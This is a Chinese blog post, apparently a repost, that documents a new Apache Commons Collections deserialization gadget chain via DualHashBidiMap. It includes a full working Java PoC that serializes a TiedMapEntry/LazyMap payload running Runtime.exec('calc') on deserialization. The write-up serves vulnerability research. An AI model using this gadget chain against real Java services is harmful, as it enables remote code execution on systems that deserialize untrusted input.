日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【web安全】记一次 Commons Collections 新调用链的挖掘

發布時間:2025/3/21 编程问答 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【web安全】记一次 Commons Collections 新调用链的挖掘 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

最近回顧了下之前的關于Commons Collections這塊的筆記,從CC1到CC10,從調用鏈來看,其實都是很相似的。為了鞏固下復習的效果,嘗試挖掘一條新的調用鏈,遂出現了本文,大佬輕噴。

建議讀者對Commons Collections鏈有一定了解后再閱讀此文。

基礎準備

這里直接用ysoserial的源碼就可以,jdk的版本我這里用的是1.8u131。我們應該知道,在這個jdk版本下,CC1和CC3中利用的AnnotationInvocationHandler是經過修復的,在CC1和CC3的調用鏈中,都是利用AnnotationInvocationHandler.readObject()來作為入口。

所以,首先我們全局搜索“readObject(”:

經過篩選,找到org.apache.commons.collections.bidimap.DualHashBidiMap這個類,其依賴于commons-collections-3.1.jar

【關注私信回復“資料課”可獲取網絡安全 全套學習資料】

我們來看DualHashBidiMap的readObject():

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); maps[0] = new HashMap(); maps[1] = new HashMap(); Map map = (Map) in.readObject(); putAll(map); }

跟進DualHashBidiMap的父類AbstractDualBidiMap#putAll方法:

public void putAll(Map map) { for (Iterator it = map.entrySet().iterator(); it.hasNext();) { Map.Entry entry = (Map.Entry) it.next(); put(entry.getKey(), entry.getValue()); } }

跟進AbstractDualBidiMap.put():

public Object put(Object key, Object value) { if (maps[0].containsKey(key)) { maps[1].remove(maps[0].get(key)); } if (maps[1].containsKey(value)) { maps[0].remove(maps[1].get(value)); } final Object obj = maps[0].put(key, value); maps[1].put(value, key); return obj; }

注意這里的

if (maps[0].containsKey(key)) { maps[1].remove(maps[0].get(key)); }

1、由這個

maps[0].containsKey(key)

依據之前的CC鏈,可聯想到HashMap#containsKey(key),其中調用了hash(key)->key.hashCode(),進而聯想到TiedMapEntry#hashCode(),我們可構造將key設為TiedMapEntry對象即可。

2、由這個

maps[0].get(key)

依據之前的CC鏈,可聯想到LazyMap.get(key),但是這里實際是無法構造利用的,后邊會說到,讀者可以先思考一下是為什么。

找到了readObject()入口,接下來我們有必要來了解一下DualHashBidiMap這個類的作用。

DualHashBidiMap

我們可以直接從源碼來看:

依據此類的英文注釋及其字段和方法的定義,可知commons-collections包中提供此集合類,作用為雙向map,即可以通過key找到value,也可以通過value找到key。

其抽象類AbstractDualBidiMap為其提供了一些字段定義及一些常用方法。

大概思路有了,類的定義也了解了,我們可以開始構造POC

構造POC

我這里先貼上最終POC,然后會進行講解。

package ysoserial;import org.apache.commons.collections.BidiMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;public class PocDualHashBidiMap { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}; // 使用ChainedTransformer組合利用鏈 Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");// Map<String, Object>,這個Map對象的鍵是String類型,值是Object類型 Map<String, Object> map = new HashMap<String, Object>(); map.put("test", tiedMapEntry); map.put("test1", "test1");// 反射創建對象 Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap"); Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class); m_ctor.setAccessible(true); Object payload_instance = m_ctor.newInstance(map, null, null);FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(payload_instance); outputStream.close();FileInputStream fis = new FileInputStream("payload_dualHashBidMap1.ser"); ObjectInputStream bit = new ObjectInputStream(fis); bit.readObject(); } }

第一部分(CC1)

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}; // 使用ChainedTransformer組合利用鏈 Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

這一部分是利用的CC1中的一部分POC,這里大概講一下思路,不深入講解了。

由于LazyMap對象是無法直接通過構造方法來構造的,需要通過其decorate方法來綁定一個轉換器,這里綁定了ChainedTransformer對象。然后就可以通過調用LazyMap.get()進而調用到ChainedTransformer.transform(),又可進而遍歷調用到ChainedTransformer對象中的4個對象(1個ConstantTransformer3個InvokerTransformer)的transform(),第一次遍歷調用transform()的結果作為入參傳入第二次遍歷調用的transform(),以此類推。ConstantTransformer.transform()會直接返回傳入的參數值,InvokerTransformer.transform()會反射調用方法。

第二部分(CC6)

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

依據我們前邊聯想到的思路,這里為了利用TiedMapEntry#hashCode(),此方法是CC6和CC7其中的一環,這里就不分析了,后邊調試的時候會說。

第三部分(DualHashBidiMap3入參protected構造方法)

Map<String, Object> map = new HashMap<String, Object>(); map.put("test", tiedMapEntry); map.put("test1", "test1");// 反射創建對象 Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap"); Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class); m_ctor.setAccessible(true); Object payload_instance = m_ctor.newInstance(map, null, null);

其實在這里,我們構造的惡意TiedMapEntry不管是放在鍵位還是值位,都是可以的,后邊會說到。

我們在構造DualHashBidiMap對象時,選的是3入參的構造方法,這里看下:

protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) { super(normalMap, reverseMap, inverseBidiMap); }

由于此構造方法為protected的,所以我們需要利用反射來構造
super對應DualHashBidiMap的父類AbstractDualBidiMap的構造方法:

protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) { super(); maps[0] = normalMap; maps[1] = reverseMap; this.inverseBidiMap = inverseBidiMap; }

為了便于理解,配合調試來講解:

當“DualHashBidiMap的構造方法中、調用super來調用父類AbstractDualBidiMap的構造方法”時,調試進入AbstractDualBidiMap類中,this表示的仍是DualHashBidiMap,也就是說,AbstractDualBidiMap構造的字段都是屬于DualHashBidiMap對象的:

斷點來到父類AbstractDualBidiMap的構造方法時,會先依據AbstractDualBidiMap類中,對于一些字段的初始化定義,都給到DualHashBidiMap對象

DualHashBidiMap對象會得到這些字段屬性,包括maps[0]和maps[1]屬性:public abstract class AbstractDualBidiMap implements BidiMap {/** * Delegate map array. The first map contains standard entries, and the * second contains inverses. */ protected transient final Map[] maps = new Map[2]; /** * Inverse view of this map. */ protected transient BidiMap inverseBidiMap = null; /** * View of the keys. */ protected transient Set keySet = null; /** * View of the values. */ protected transient Collection values = null; /** * View of the entries. */ protected transient Set entrySet = null;


而這個

maps[0] = normalMap;

對應POC中:

Object payload_instance = m_ctor.newInstance(map, null, null);

所以,賦值給maps[0]的就是normalMap(我們構造的HashMap對象)

也就是說,此時的DualHashBidiMap對象的maps[0]屬性(我們構造的HashMap對象)的其中一個HashMap$Node對象,對應POC構造的:

Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);

DualHashBidiMap對象構造好之后,序列化時,會將這些字段屬性一層一層寫入序列化流:

調試

構造好POC后,打上斷點,調試分析一下:


反序列化時,來看DualHashBidiMap的自實現的 readObject() :

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); maps[0] = new HashMap(); maps[1] = new HashMap(); Map map = (Map) in.readObject(); putAll(map); }

可以看到,maps[0]和maps[1]屬性都被賦值為空的HashMap對象了,這不是與我們上邊構造的沖突了嗎?

調試到此處看下:

我們上邊構造的DualHashBidiMap對象的maps[0]屬性(我們構造的HashMap對象)的其中一個HashMap$Node對象的值就是惡意TiedMapEntry對象。

調試發現,DualHashBidiMap的自實現的 readObject() 中的

Map map = (Map) in.readObject();

實際就是把我們POC中構造的HashMap對象:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, “1”);
Map<String, Object> map = new HashMap<String, Object>();
map.put(“test”, tiedMapEntry);

給取出來了,給到Map對象map,然后調用 putAll() 時,作為入參傳入此Map對象:


可以這樣理解,readObject方法就是反序列化讀取出來當前類中的對象,具體是哪個字段,哪一層的,其實是不固定的:

執行完

Map map = (Map) in.readObject();

這句后,反序列化之后的DualHashBidiMap對象的maps[0]和maps[1]屬性還是空的HashMap對象,沒有改變:


跟進putAll方法:

迭代讀取HashMap$Node對象節點。

第一個就是我們構造的惡意HashMap$Node對象:

跟進put方法:

maps[0]和maps[1]都為剛才readObject方法中賦值的空的HashMap對象,這也就是前邊說的,為什么不可利用LazyMap.get()

我們可以通過這個maps[1],來到HashMap#containsKey方法:


此時的key為構造的惡意TiedMapEntry對象,繼續跟進hash方法:

跟進hashCode方法:

繼續跟進getValue方法:

這里開始就和CC1的調用鏈重疊了,就不繼續跟進了。

調用鏈

DualHashBidiMap.readObject() -> AbstractDualBidiMap.putAll() -> AbstractDualBidiMap.put() -> HashMap.containsKey() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform()

結語

其實就是一些之前CC鏈的拼接而已。

《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀

總結

以上是生活随笔為你收集整理的【web安全】记一次 Commons Collections 新调用链的挖掘的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。